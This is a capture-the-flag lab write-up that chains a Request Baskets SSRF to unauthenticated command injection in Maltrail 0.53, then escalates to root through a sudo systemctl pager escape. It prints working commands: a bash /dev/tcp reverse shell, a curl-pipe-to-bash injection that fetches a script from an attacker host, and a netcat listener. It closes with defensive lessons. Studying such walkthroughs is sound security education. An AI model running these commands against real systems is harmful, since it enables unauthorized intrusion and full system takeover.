Recon
Port 80 showed as filtered — the firewall dropped packets instead of refusing them. Port 55555 was open and running an HTTP service. I hit that first.
$ nmap -sC -sV -p 22,80,55555 -oN nmap/initial 10.129.3.25 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 80/tcp filtered http 55555/tcp open unknown | fingerprint-strings: | GetRequest, HTTPOptions: | HTTP/1.0 302 Found | Location: http://10.129.3.25:55555/web
Port 55555 redirected to /web — a web UI for Request Baskets v1.2.1. Request Baskets is a self-hosted HTTP request collector (like webhook.site or requestbin). It's used to inspect incoming HTTP requests. Version 1.2.1 is vulnerable to SSRF.
Enumeration
CVE-2023-27163: Request Baskets ≤ 1.2.1 allows the forward_url basket configuration parameter to point to any internal address without restriction. With proxy_response: true, the service acts as a transparent SSRF proxy — requests to your basket are forwarded to the internal URL and the response is returned to you.
I created a basket configured to forward to the filtered internal port 80:
$ curl -s -X POST http://10.129.3.25:55555/api/baskets/test \ -H "Content-Type: application/json" \ -d '{"forward_url":"http://127.0.0.1:80","proxy_response":true,"insecure_tls":false,"expand_path":true,"capacity":200}' {"token":"...","short_url":"http://10.129.3.25:55555/test"} $ curl -s http://10.129.3.25:55555/test <!DOCTYPE html> <title>Maltrail</title> ...Maltrail v0.53...
Internal port 80 is running Maltrail v0.53 — a network traffic monitoring and threat detection system. This version has an unauthenticated OS command injection in the login endpoint.
Foothold
Maltrail 0.53 passes the username POST parameter to a Python subprocess call without sanitization. A semicolon followed by a shell command executes as the process owner.
# reverse shell script $ cat s.sh #!/bin/bash bash -i >& /dev/tcp/10.10.14.X/4444 0>&1 $ python3 -m http.server 80 & $ nc -lvnp 4444 & # inject via the basket SSRF proxy → Maltrail login endpoint $ curl -s -X POST "http://10.129.3.25:55555/test/login" \ --data "username=;curl+http://10.10.14.X/s.sh|bash&password=test"
connect to [10.10.14.X] from (UNKNOWN) [10.129.3.25] 52684 puma@sau:/opt/maltrail$ id uid=1001(puma) gid=1001(puma) groups=1001(puma)
Privilege Escalation
puma@sau:~$ sudo -l User puma may run the following commands on sau: (ALL) NOPASSWD: /usr/bin/systemctl status trail.service
The sudo command runs systemctl status which opens its output in less when the output exceeds the terminal height. In less, the ! command executes a shell command directly. This is a documented shell escape from interactive pagers.
puma@sau:~$ sudo /usr/bin/systemctl status trail.service ● trail.service - Maltrail. Server of malicious traffic detection system Loaded: loaded (/etc/systemd/system/trail.service; enabled) Active: active (running) Main PID: 891 (python3) -- output continues, less pager opens -- # in the less pager, type: !bash root@sau:/home/puma# id uid=0(root) gid=0(root) groups=0(root)
Flags
Lessons Learned
- SSRF through configurable request forwarding services can reach internal hosts that are firewall-filtered from the outside — any service with a configurable upstream proxy target needs validation and an allowlist of permitted destinations.
- CVE chaining: CVE-2023-27163 alone gives SSRF; combined with the internal Maltrail RCE it becomes a full remote code execution path from the public internet.
systemctl statusopenslessas pager on long output —!in less runs a shell command. This is also true forman,git log, and any other tool using less as a pager. When escalating via a sudo pager command, always try the!escape.- A filtered port is not a dead end — it means the port is accessible locally. SSRF or pivoting through another service on the same host can reach it.
systemctl status, be aware that the pager used can be escaped — consider using SYSTEMD_PAGER="" to disable the pager entirely.